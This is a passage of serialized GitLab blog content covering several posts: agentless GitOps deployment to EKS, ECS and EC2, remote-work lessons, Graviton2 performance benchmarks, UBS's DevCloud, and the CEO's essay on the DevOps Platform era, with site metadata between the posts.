stakeholders](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/11-db-version-and-10g-storage.png){: .shadow.small.center.wrap-text}\nThe MySQL database configuration built by team member collaboration.\n{: .note.text-center}\n\nIn the next section, we look at how a similar GitOps flow can be applied to a Kubernetes cluster.\n\n### GitLab and Terraform for K8s infrastructure\n\nWe skip past all the collaboration steps to focus on a change to the EKS cluster Terraform configuration file. In the picture below, a user is changing the minimum size of the autoscaling group of the EKS cluster from one to two:\n\n![Raising autoscaling group minimum to 2](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/12-worker-nodes-to-two.png){: .shadow.small.center.wrap-text}\nIncreasing autoscaling group minimum to two.\n{: .note.text-center}\n\nWhen the stakeholder commits the change in the MR, a CI/CD pipeline validates the configuration, performs a plan against production, and applys the updates to the production infrastructure. After the pipeline finishes, the user can log into the Amazon EC2 console to verify that the EKS cluster now has a minimum of two nodes in its autoscaling group:\n\n![GitOps flow modified the number of worker nodes in K8s cluster](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/13-two-worker-nodes-on-AWS.png){: .shadow.small.center.wrap-text}\nGitOps flow modified the number of worker nodes in K8s cluster.\n{: .note.text-center}\n\nSee this scenario in action by watching the [GitOps presentation](/topics/gitops/gitops-multicloud-deployments-gitlab/) on our GitOps topics page.\n\n## GitOps flows for non-K8s (like ECS, EC2)\n\nGitLab also provides Auto Deploy capabilities to streamline application deployment to ECS and EC2, so you can shape infrastructure as desired.\n\n### Deploying to Amazon ECS\n\nAfter creating your ECS cluster, GitLab can deliver your application and its infrastructure to the cluster by including the ECS Deployment template in your `gitlab-ci.yml`, using CI/CD.\n\n```\ninclude:\nTemplate: AWS/Deploy-ECS.gitlab-ci.yml\n```\n\nNext, create the `ECS Task Definition` file in your project that specifies your app's infrastructure requirements, along with other details.\n\n![ECS Task Definition file snippet](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/14-ECS-taskdef-file.png){: .shadow.small.center.wrap-text}\nECS Task Definition file snippet.\n{: .note.text-center}\n\nFinally, define the project variable that will drive the template:\n\n![Project variables required to auto-deploy to ECS](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/15-ECS-related-vars.png){: .shadow.small.center.wrap-text}\nProject variables required to auto-deploy to ECS.\n{: .note.text-center}\n\nThe ECS deployment template does the rest, including support review pipelines.\n\n![Review pipeline in GitOps flow](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/16-ECS-review-pipeline.png){: .shadow.small.center.wrap-text}\nReview pipeline in GitOps flow.\n{: .note.text-center}\n\nIn the review pipeline above, stakeholders can review the proposed changes before sending to production. The two screenshots below show different aspects of the proposed changes in the log output of the `review_fargate` job:\n\n![Configuring load balancers in ECS](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/17-review-fargate-log-begin.png){: .shadow.small.center.wrap-text}\nConfigure load balancers in ECS.\n{: .note.text-center}\n\nSee the configuration for infrastructure components like load balancers in the image above. The image below shows infrastructure components like subnets, security groups, and the assignment of a public IP address:\n\n![Configuring subnets, security groups in ECS](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/18-review-fargate-log-middle.png){: .shadow.small.center.wrap-text}\nConfiguring subnets and security groups in ECS.\n{: .note.text-center}\n\nOnce all stakeholders are done collaborating on a proposed change to the production infrastructure, the updates are applied using a CI/CD pipeline. Below is an example of this type of pipeline:\n\n![Applying infrastructure updates to production](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/19-ECS-prod-pipeline.png){: .shadow.small.center.wrap-text}\nApplying infrastructure updates to production.\n{: .note.text-center}\n\nRead our documentation to learn more about [how GitLab users can Auto Deploy to ECS](https://docs.gitlab.com/ee/ci/cloud_deployment/#deploy-your-application-to-the-aws-elastic-container-service-ecs).\n\n### Deploying to Amazon EC2\n\nGitLab also provides a built-in template to provision infrastructure and deploy your applications to EC2 as part of Auto DevOps. The template:\n\n- Provisions infrastructure using AWS CloudFormation\n- Pushes application to S3\n- Deploys your application from S3 to EC2\n\nEach of these steps requires a JSON configuration file. Below is an example of a portion of a CloudFormation Stack JSON file used to create your infrastructure:\n\n![CloudFormation stack JSON snippet](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/20-EC2-portion-stack-file.png){: .shadow.small.center.wrap-text}\nCloudFormation stack JSON snippet.\n{: .note.text-center}\n\nThe JSON used by the Auto Deploy template to push your application to S3 would look similar to this:\n\n![JSON to push application to S3](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/21-EC2-push-file.png){: .shadow.small.center.wrap-text}\nJSON to push application to S3.\n{: .note.text-center}\n\nAnd the file used for the actual deployment of your application from S3 to EC2 would be like the following:\n\n![JSON to deploy application to EC2](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/22-EC2-deploy-file.png){: .shadow.small.center.wrap-text}\nJSON to deploy application to EC2.\n{: .note.text-center}\n\nAfter creating these files, you need to create the following variables in your project - displayed here with some sample values:\n\n```\nvariables:\n  CI_AWS_CF_CREATE_STACK_FILE: 'aws/cf_create_stack.json'\n  CI_AWS_S3_PUSH_FILE: 'aws/s3_push.json'\n  CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'\n  CI_AWS_CF_STACK_NAME: 'YourStackName'\n```\n\nThe last step is to include the template in your `.gitlab-ci.yml` file:\n\n```\ninclude:\n  - template: AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml\n```\n\nMore details on [how GitLab uses Auto Deploy to EC2 are available in the documentation](https://docs.gitlab.com/ee/ci/cloud_deployment/#provision-and-deploy-to-your-aws-elastic-compute-cloud-ec2).\n\n## Agent or agentless: GitLab has your GitOps flows covered\n\nWhether your situation calls for an agent-based/pull-approach to doing GitOps, or for an agentless/push-approach, GitLab has your back. GitLab offers the flexibility to choose the approach to GitOps that best fits your specific projects or applications. GitLab also supports many types of infrastructures – from physical components and virtual machines, Kubernetes and containers, as well as infrastructure-as-code tools like Terraform, Ansible, and AWS Cloud Formation.\n",[534,4103,4144],{"slug":17731,"featured":6,"template":678},"how-to-agentless-gitops-aws","content:en-us:blog:how-to-agentless-gitops-aws.yml","How To Agentless Gitops Aws","en-us/blog/how-to-agentless-gitops-aws.yml","en-us/blog/how-to-agentless-gitops-aws",{"_path":17737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17738,"content":17743,"config":17748,"_id":17750,"_type":16,"title":17751,"_source":17,"_file":17752,"_stem":17753,"_extension":20},"/en-us/blog/five-ways-to-scale-remote-work",{"title":17739,"description":17740,"ogTitle":17739,"ogDescription":17740,"noIndex":6,"ogImage":16010,"ogUrl":17741,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17741,"schema":17742},"5 Ways to scale remote work on your team","Learn how technology businesses are embracing the future of work by going all-remote.","https://about.gitlab.com/blog/five-ways-to-scale-remote-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Ways to scale remote work on your team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Betsy Bula\"}],\n        \"datePublished\": \"2021-08-09\",\n      }",{"title":17739,"description":17740,"authors":17744,"heroImage":16010,"date":17745,"body":17746,"category":6634,"tags":17747},[16015],"2021-08-09","\n\nAt GitLab, we believe that remote work at scale will define not only the future of work, but the future of living. We created [REMOTE by GitLab](https://remotebygitlab.com/) to bring together the remote work community and answer the questions many companies are asking: \"How do we do this, and what's next?\"\n\nWe heard from some of the top leaders in remote work, from large companies that made the decision to leave the office behind, to teams of experts who have been studying the organizational design for years.\n\nWe share five lessons from the REMOTE by GitLab event that your team can apply to uplevel your [remote practices and culture](/company/culture/all-remote/building-culture/).\n\n## Set guiding principles for your remote transition (and stick to them)\n\nAs you navigate the changes that come with implementing remote-first practices, it's important to have a set of values and guiding principles that your team can refer back to each time you make a decision, process, or change.\n\nDaisy Linden, employee experience and remote-first at Coinbase, and Dominique Baillet, global head of employee experience and diversity and inclusion at Coinbase, shared the story of why their organization decided to be a virtual-first company, and what principles they leaned on throughout the transition to remote work. Watch their session in the video below for more insights and lessons learned.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/qOoiWVgWbYY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Hire a remote work lead\n\nIf your organization is grappling with decisions about the future of work, it's crucial to have guidance and leadership from someone with experience converting remote work from a logistical challenge to a strategic advantage. This is even more important as your team grows and scales. That's why many companies are hiring a \"Head of Remote\" to guide them on this journey.\n\nWe learned how Facebook's team is approaching remote work in a session from Annie Dean, Director of Remote Work, at the social media platform. Watch Annie's session to learn how her team works, and what insights she has for other remote leaders.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/VSQRMv-N1Ls\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Invest in your team's workspaces\n\nCompanies that are going all-remote or embracing a hybrid-remote structure may be saying goodbye to corporate office space, but that doesn't mean employees should be required to set up their own workspaces. A healthy workspace enables productive work and promotes physical and mental wellbeing. Just like in a colocated office, it's up to leaders to support their teams in creating positive work environments from home, or any location they choose to work remotely.\n\nIn this session, workspace expert Ryan Anderson from MillerKnoll shares everything you need to know to create your best workspace.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/l9jmb8TE7sw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nSee how [GitLab team members set up their workspaces](/blog/not-everyone-has-a-home-office/) – from the home office to being on the road, and learn more about the [tools GitLab's all-remote workforce swears by](/blog/whats-in-your-backpack/).\n\n## Build a rest ethic within your organization\n\nJust as leaders and managers are responsible for setting their team up for success at work, they are also responsible for ensuring they take time away from work. This is crucial not just for preventing burnout, but also for increasing employee engagement, enthusiasm, and productivity.\n\nJohn Fitch, the founder of Time Off, says your team's \"rest ethic\" is just as important as their work ethic. Watch his session to find out how you can update your organization's practices to make intentional time off part of your culture, and unlock the full potential of your team.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/bQMoF7oSh2o\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Shift your collective mindset from productivity to purpose\n\nWe must unlearn traditional work habits and shift our mindset to truly embrace the future of work and living. During his talk at REMOTE by GitLab, Alastair Simpson, Dropbox VP of Design, shared the lessons Dropbox  learned as they continue to redesign the way they work.\n\nAs Alastair points out, it's up to leaders and managers to help their teams feel purpose beyond just work, turning traditional ways of working into human-centered ways of working. Watch the video below to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/FfYstjnCre8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Ready to go REMOTE?\n\nExplore more best practices in the remote work world by watching talks from leaders at Twitter, Robinhood, Harvard Business School, Remote, and more. Every session from REMOTE by GitLab is available on-demand on the [GitLab YouTube channel](https://www.youtube.com/c/Gitlab/playlists?view=50&sort=dd&shelf_id=1).\n",[3798],{"slug":17749,"featured":6,"template":678},"five-ways-to-scale-remote-work","content:en-us:blog:five-ways-to-scale-remote-work.yml","Five Ways To Scale Remote Work","en-us/blog/five-ways-to-scale-remote-work.yml","en-us/blog/five-ways-to-scale-remote-work",{"_path":17755,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17756,"content":17761,"config":17768,"_id":17770,"_type":16,"title":17771,"_source":17,"_file":17772,"_stem":17773,"_extension":20},"/en-us/blog/achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor",{"title":17757,"description":17758,"ogTitle":17757,"ogDescription":17758,"noIndex":6,"ogImage":9591,"ogUrl":17759,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17759,"schema":17760},"GitLab on Graviton2: 23% cheaper, 36% higher performance","GitLab and GitLab Runner Performance Gains on Arm based AWS Graviton2","https://about.gitlab.com/blog/achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"23% Cost savings and 36% performance gain by deploying GitLab on Arm-based AWS Graviton2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pranay Bakre\"}],\n        \"datePublished\": \"2021-08-05\",\n      }",{"title":17762,"description":17758,"authors":17763,"heroImage":9591,"date":17765,"body":17766,"category":734,"tags":17767},"23% Cost savings and 36% performance gain by deploying GitLab on Arm-based AWS Graviton2",[17764],"Pranay Bakre","2021-08-05","\n\nCompanies in all industries and sectors have significantly invested in digital transformation and increased their software development capabilities. GitLab delivers modern DevOps with a complete DevOps platform. However, some organizations require self-managed GitLab and GitLab Runners, which creates added costs for hosting and running GitLab infrastructure. Our latest cost analysis and performance benchmarks show that customers can realize cost savings of up to 23% and performance gains of up to 36% by deploying the GitLab application and GitLab Runner on the Arm-based Graviton2 when compared to the x86 based M5/C5 EC2 instances.\n\n[Arm](https://www.arm.com/) is a leading provider of silicon intellectual property (IP) for intelligent systems-on-chip (SoC) that power billions of devices. [GitLab and Arm have collaborated](/blog/gitlab-arm-aws-graviton2-solution/) closely to make GitLab tools available for devices based on Arm architecture. AWS is the first major public cloud provider to offer Arm-based EC2 compute instances powered by Graviton2 processors built upon Arm Neoverse N1 IP cores.\n\n## Performance benchmarks for GitLab 10,000 reference architecture\n\nGitLab is a highly scalable and modular application and can accomodate 10 users to 10,000 as a business scales. Today, the [GitLab 10,000 reference architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html) provides users with a blueprint for hosting GitLab on x86_64-backed compute on leading cloud platforms providers. Building upon our collaboration from last year, the next step was to include Arm64 backed compute in the reference architecture.\n\nFor the research, we first ran the performance benchmarks comparing the cost of hosting GitLab's [Reference Architecture](https://docs.gitlab.com/ee/administration/reference_architectures/) for up to 10,000 users on Arm64 and x86 environments on AWS. We found that GitLab customers can realize up to 23% cost savings on their AWS bill by deploying GitLab on Graviton2-based EC2 instances over comparable x86-based EC2 instances for about the same level of performance. See the monthly AWS cost for running this scenario on the [Arm64 environment](https://calculator.s3.amazonaws.com/index.html#r=IAD&s=EC2&key=files/calc-4f854bec29723ed3fa0f209ca0fddf3495447e8f&v=ver20210322c7) and [x86 environment](https://calculator.s3.amazonaws.com/index.html#r=IAD&s=EC2&key=files/calc-8c66ad5bfb008a1f0f21c779fcc336418ae1e83a&v=ver20210322c7).\n\nThe figure below shows the components that make up the GitLab 10,000 reference architecture:\n\n![GitLab architecture](https://about.gitlab.com/images/blogimages/gitlab_arch.png){: .shadow.medium.center}\nAn example of components that make up a 10,000 user GitLab architecture.\n{: .note.text-center}\n\nRead more about the [components required to set up the 10,000 architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html).\n\nFor testing, we used the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) developed in-house by GitLab to test the performance of GitLab. Below is a high-level view of the different kinds of tests generated by GPT.\n\n![GPT tests](https://about.gitlab.com/images/blogimages/gpt_tests.png){: .shadow.medium.center}\nThe different types of tests created by the GitLab Performance Tool.\n{: .note.text-center}\n\nAll data was generated under a group named `gpt` and split into two areas: vertical and horizontal. The vertical area consists of one or more large projects that are considered a good and representative size for performance testing. The horizontal area consists of a large number of subgroups that have a large number of projects. All of these subgroups are saved under the parent subgroup `gpt/many_groups_and_projects`.\n\nWe also used the GitLab Environment Toolkit (GET), a provisioning and configuration toolkit, for deploying GitLab's Reference Architectures with Terraform and Ansible.\n\n## About performance benchmarking for the self-managed GitLab Runner\n\nGitLab Runner is the open source application that runs GitLab CI/CD jobs on various computing platforms and operating systems. The GitLab Runner has supported Arm architecture since [GitLab 12.6](/releases/2019/12/22/gitlab-12-6-released/), which allows users to run CI/CD jobs natively on Arm.\n\nWe ran the performance benchmark results for the GitLab Runner by compiling a standard Linux kernel on M6g and M5 instances. In this case, we demonstrated 36% performance gain on M6g instances under 100% CPU utilization. For example, it took 7 minutes and 53 seconds to compile Linux kernel on M5.xlarge (4 core) instances, whereas it only took 5 minutes 47 seconds on M6g.xlarge (4 core) instances.\n\nThe figure below shows that the architecture of the test setup for the GitLab runner we used to benchmark the performance based on the [GitLab Runner stress test repository](https://gitlab.com/gitlab-org/ci-cd/gitlab-runner-stress).\n\n![GitLab Runner test configuration](https://about.gitlab.com/images/blogimages/gl_runner_test_config.JPG){: .shadow.medium.center}\nThe architecture of the GitLab Runner used to benchmark performance.\n{: .note.text-center}\n\nWe used Prometheus and Grafana to obtain the CPU utilization graphs for both M6g and M5 instances from the Runner. The diagrams below show we have 100% CPU utilization on both Arm and x86 environments, and we are still able to achieve a 36% performance gain with the GitLab Runners on Arm-based M6g instances.\n\n![Runner on ARM - CPU utilization](https://about.gitlab.com/images/blogimages/runner_arm_cpu_perf_1.png){: .shadow.medium.center}\nInside CPU use on Arm environment.\n{: .note.text-center}\n\n![Runner on x86-64 - CPU utilization](https://about.gitlab.com/images/blogimages/runner_x86_cpu_perf_1.png){: .shadow.medium.center}\nCPU use on x86 environments.\n{: .note.text-center}\n\nUsers can benefit from the 36% performance gain for CI job execution and the roughly 23% per month in cost savings for executing CI jobs. The savings can be significant for customers that consume about 500,000 CI compute minutes per month.\n\n## GitLab customers increase performance and decrease cost by moving to Arm\n\nGitLab enterprise customers can gain 36% in performance improvements and 23% cost savings by deploying GitLab and GitLab Runner on AWS Graviton2-based EC2 instance. If your company's cloud infrastructure is on AWS, then you should consider whether moving workloads to Arm-based Graviton2 instances is suitable for your organization.\n\nCheck out this [repository for resources for getting started with AWS Graviton processors](https://github.com/aws/aws-graviton-getting-started) and information on supported operating systems and software. Feel free to open an [issue](https://github.com/aws/aws-graviton-getting-started/issues) if you have questions or need more help.\n\n_Join us at [Arm DevSummit 2021](https://devsummit.arm.com/en) to learn more about GitLab performance benchmarking and other topics._\n",[1384],{"slug":17769,"featured":6,"template":678},"achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor","content:en-us:blog:achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor.yml","Achieving 23 Cost Savings And 36 Performance Gain Using Gitlab And Gitlab Runner On Arm Neoverse Based Aws Graviton2 Processor","en-us/blog/achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor.yml","en-us/blog/achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor",{"_path":17775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17776,"content":17782,"config":17787,"_id":17789,"_type":16,"title":17790,"_source":17,"_file":17791,"_stem":17792,"_extension":20},"/en-us/blog/ubs-gitlab-devops-platform",{"title":17777,"description":17778,"ogTitle":17777,"ogDescription":17778,"noIndex":6,"ogImage":17779,"ogUrl":17780,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17780,"schema":17781},"How UBS created their own DevOps platform using GitLab","How GitLab helped power more than a million builds in six months on UBS DevCloud.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665839/Blog/Hero%20Images/devops.png","https://about.gitlab.com/blog/ubs-gitlab-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How UBS created their own DevOps platform using GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-08-04\",\n      }",{"title":17777,"description":17778,"authors":17783,"heroImage":17779,"date":17784,"body":17785,"category":734,"tags":17786},[17272],"2021-08-04","\n\nUBS, the largest truly global wealth manager, uses GitLab to power DevCloud, a single [DevOps platform](/solutions/devops-platform/) that allows for a cloud-based, service-oriented, software development lifecycle.\n\n\"GitLab is a fundamental part of DevCloud,\" said [Rick Carey](https://www.bloomberg.com/profile/person/20946258), Group Chief Technology Officer at UBS. \"We wouldn't be able to have that seamless experience without GitLab. It allowed us to pull ahead of many of our competitors, and break down the barriers between coding, testing, and deployment.\"\n\nDuring GitLab Virtual Commit 2021, Rick and [Eric Johnson](/company/team/#edjdev), Chief Technology Officer at GitLab, talked about how building DevCloud on GitLab's DevOps Platform allowed UBS to increase their development velocity, lower their infrastructure costs, and increase collaboration between engineers and non-engineering teams worldwide.\n\n## How engineers used DevCloud to collaborate during UBS Hackathon\n\nThe annual [UBS Hackathon](https://www.ubs.com/global/en/our-firm/what-we-do/technology/2020/hackathon-2020.html), which typically brings together engineers from around the world in one room, went virtual in 2020 due to the COVID-19 pandemic. UBS did a soft launch of the DevCloud platform during the 2020 Hackathon to have a truly global development and seamless team experience among the more than 500 participants dispersed worldwide.\n\n\"It was hard to pick a winner, because nearly every program and team built something absolutely incredible in such a short amount of time,\" said Rick. \"They got so much done that even while chatting with each other, they said, 'I can't believe how easy it is to get this done.'\n\nOnce this Hackathon was successful, we knew that we were going to be able to migrate the rest of our engineers to DevCloud.\"\n\n## Open source collaboration benefitted UBS and GitLab\n\n\"I must say it's uncommon in my experience to see such a large organization let alone one in such a compliance-driven industry as finance take on such a large project and deliver it on time,\" Eric said.\n\nRick attributes part of that success to GitLab's commitment to open source collaboration, which allowed UBS to turn to GitLab team members with questions.\n\n\"In an open source model, every time there was a gap, or an issue, or something we just needed your help with, we could reach out to GitLab and say, 'Can we work on this together? Is there a way to improve this?'\", said Rick. \"That's the value, and that's one of the reasons we went with GitLab.\"\n\nIt wasn't a one-way relationship. Eric said that GitLab learned a lot about compliance and risk processes that are unique to the financial sector by collaborating on open source projects with UBS.\n\n\"Collaboration is one of the GitLab's core values – which was key to this project. We set common goals. We're in constant communication, and we're always working together to remove roadblocks. Working with UBS's engineers is a truly agile experience,\" said Eric.\n\nGitLab forums have a lot of contributions from UBS team members, and both UBS and GitLab are members of open source communities such as the Fintech Open Source Foundation (FINOS) and Cloud Native Computing Foundation (CNCF).\n\n## How adopting DevCloud paid off for UBS\n\nOne of the key messages for why adopting a single DevOps platform such as GitLab or DevCloud benefits engineering teams is the productivity pay-off – for engineers and non-engineers alike.\n\nSimilar to GitLab, which enables simple asynchronous collaboration between team members, DevCloud was built with engineers in mind but so everyone can contribute. Rick said that one of the best pieces of feedback he got on DevCloud was from someone on the business side of UBS, who wanted to do some development projects but struggled with other tools.\n\n\"He said, 'Oh, that's DevCloud? I love DevCloud,'\" said Rick.\n\nIn the roughly six months since UBS launched DevCloud, there have been more than 12,000 users and more than one million successful builds.\n\n## What's next?\n\nIn June 2021, [GitLab acquired machine learning company UnReview](/press/releases/2021-06-02-gitlab-acquires-unreview-machine-learning-capabilities.html) which has allowed us to improve our machine learning capabilities as part of our DevOps Platform. Eric said that by practicing applied machine learning, specifically for code review, GitLab should be able to balance review workloads across teams to increase efficiency.\n\nKeeping all the DevOps activities in a single application makes it easier to extract insights throughout the software development lifecycle. By adding machine learning to a DevOps Platform such as GitLab or DevCloud, teams can not only derive data from past activities, but start to predict the future.\n\n \"We were very impressed by UBS's development culture,\" said Eric. \"It is very complimentary to our own, and we look forward to our continued partnership.\"\n\n## More of a video person?\n\nThis conversation was part of GitLab Virtual Commit 2021. Watch the video below to see the full conversation between Eric and Rick.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Tof-7fDultw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[4103,815,1384,2368],{"slug":17788,"featured":6,"template":678},"ubs-gitlab-devops-platform","content:en-us:blog:ubs-gitlab-devops-platform.yml","Ubs Gitlab Devops Platform","en-us/blog/ubs-gitlab-devops-platform.yml","en-us/blog/ubs-gitlab-devops-platform",{"_path":17794,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17795,"content":17801,"config":17806,"_id":17808,"_type":16,"title":17809,"_source":17,"_file":17810,"_stem":17811,"_extension":20},"/en-us/blog/welcome-to-the-devops-platform-era",{"title":17796,"description":17797,"ogTitle":17796,"ogDescription":17797,"noIndex":6,"ogImage":17798,"ogUrl":17799,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17799,"schema":17800},"Welcome to the DevOps Platform era","GitLab CEO Sid Sijbrandij reflects on the evolution of DevOps and the emergence of the DevOps Platform as the solution for businesses wanting to deliver software faster, more securely, and at a lower cost.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668101/Blog/Hero%20Images/dop_cover.png","https://about.gitlab.com/blog/welcome-to-the-devops-platform-era","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Welcome to the DevOps Platform era\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-08-03\",\n      }",{"title":17796,"description":17797,"authors":17802,"heroImage":17798,"date":17803,"body":17804,"category":962,"tags":17805},[3532],"2021-08-03","\nDevOps has evolved since its infancy, over a decade ago. Swiss developmental psychologist Jean Piaget believed human cognitive development has [four stages](https://www.healthline.com/health/piaget-stages-of-development) (sensorimotor, preoperational, concrete operational, and formal operational). Through each of these stages, the human mind obtains new knowledge while building and modifying memories to inform one's understanding of the world around them.\n\nIn the same way that people go through stages as they grow, markets and industries also go through stages of development. Over the years, DevOps has grown into a mature, business-critical practice.\n\nAs the DevOps industry expanded, so did the number and complexity of tool-project integrations within an organization. This was the result of three developments in DevOps:\n\n1. Companies moved from monolithic architectures to [microservices architectures](/topics/microservices/). By doing so, applications could scale independently, allowing teams to move faster.\n2. The faster delivery of software also required companies to use more DevOps tools per project.\n3. The linear growth of both or more projects and more tools per project led to an exponential increase in the number of project-tool integrations.\n\nThis increase in project-tool integrations called for a change in the way organizations adopted DevOps tools. At GitLab, we identified four phases of evolution in the adoption of DevOps tools over time.\n\n## Phase 1 - Siloed DevOps\n\nIn this early phase, each department or team built or purchased their own tools in isolation, which they optimized for their own narrow objectives, without explicitly coordinating with others. This led to a \"Siloed DevOps\" environment that caused problems when teams tried to work together because they were not familiar with the tools of the other teams. It is common for organizations at this level of maturity to have multiple duplicative sets of tooling for common DevOps functions like planning, source code management, and CI/CD. The chaotic environment slows down collaboration and knowledge sharing or stops it altogether.\n\n## Phase 2 - Fragmented DevOps\n\nThe need for less chaos and more harmony drove organizations to the second phase, Fragmented DevOps. In this phase, organizations standardized on the same set of tools across the organization. Typically, there was one preferred tool for each stage of the DevOps lifecycle. Teams within the same function could collaborate better, but the tools were not connected between stages. As an example, planning was standardized and deployment was standardized, but each stage was still siloed from each other. It was hard to move through the DevOps lifecycle.\n\n## Phase 3 - DIY DevOps\n\nOrganizations that tried to remedy this by manually integrating their DevOps point solutions together reached the third phase, \"DIY DevOps\". Unfortunately – as many DIYers will know all too well – when you try to put together many different parts that were never designed to work with each other, the end results never fit quite right. In the same way, homegrown toolchains create complex workflows that slow down the development process — and overall cycle time. For many organizations, maintaining DIY DevOps toolchains requires significant effort, resulting in higher costs, slower cycle times, and opportunities for vulnerabilities to be targeted.\n\n## Phase 4 - The DevOps Platform era\n\nThe true potential of DevOps was not fully realized in the first three phases. That's why I am proud that GitLab is the leader in enabling the fourth phase, the DevOps Platform era. [The DevOps Platform](/topics/devops-platform/) is a single application with one user interface and a unified data store. It includes every stage of the DevOps lifecycle and brings together development, operations, and security teams. It allows these groups to collaboratively plan, build, secure, and deploy software. As a result, this improves businesses' velocity, efficiency, and security, allowing them to deliver software faster and at a lower cost.\n\n## The future of DevOps\n\nWhen I think about the future of DevOps, three things stand out. First, I believe that a platform solution with embedded security _ is_ the future. Security that is built-in, not bolt-on, is needed to secure a software supply chain from end-to-end without sacrificing speed for security.\n\nFor example, the world's most trusted hacker-powered security company, HackerOne, is using The DevOps Platform. With GitLab, they've been able to replace their DIY toolchain and shift security left. HackerOne is now catching security flaws early and getting immediate feedback since security is built into the developer's workflow.\n\nIn May, the U.S. government [issued a new policy](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) aimed at securing both the private and public sector software supply chains against malicious cyberattacks. Now is the time to make security a fundamental part of your DevOps journey. In today's landscape, you need to secure 100% of your applications every time they get updated. The only practical way to do that is to integrate security into the platform.\n\nSecond, I believe that machine learning will be critical in making the DevOps workflow faster. In the [GitLab 2021 DevSecOps survey](/developer-survey/), 75% of respondents reported that their DevOps teams are using or planning to use machine learning or AI for testing and code review. In June, [GitLab announced the acquisition](/press/releases/2021-06-02-gitlab-acquires-unreview-machine-learning-capabilities.html) of a machine learning-based solution called UnReview. This acquisition and continued machine learning integration will automate workflows and compress the DevOps cycle time. GitLab is focused on using machine learning to reduce friction in your work, so you can spend more time innovating.\n\nThird, I believe DevOps platform adoption will accelerate. [Gartner predicts that by 2023](/press/releases/2020-12-09-gitlab-cited-as-representative-vendor-in-gartner-market-guide.html), 40% of organizations will have switched from multiple point solutions to a platform in order to streamline application delivery. Gartner's prediction is an increase from the base of 10% or less using a DevOps Platform in 2020. GitLab customers often tell us that DIY toolchains are too complicated. If you're feeling that way too, it's time to choose a path to simplicity. The fastest way to get there is with the DevOps Platform.\n\nYou don't need to 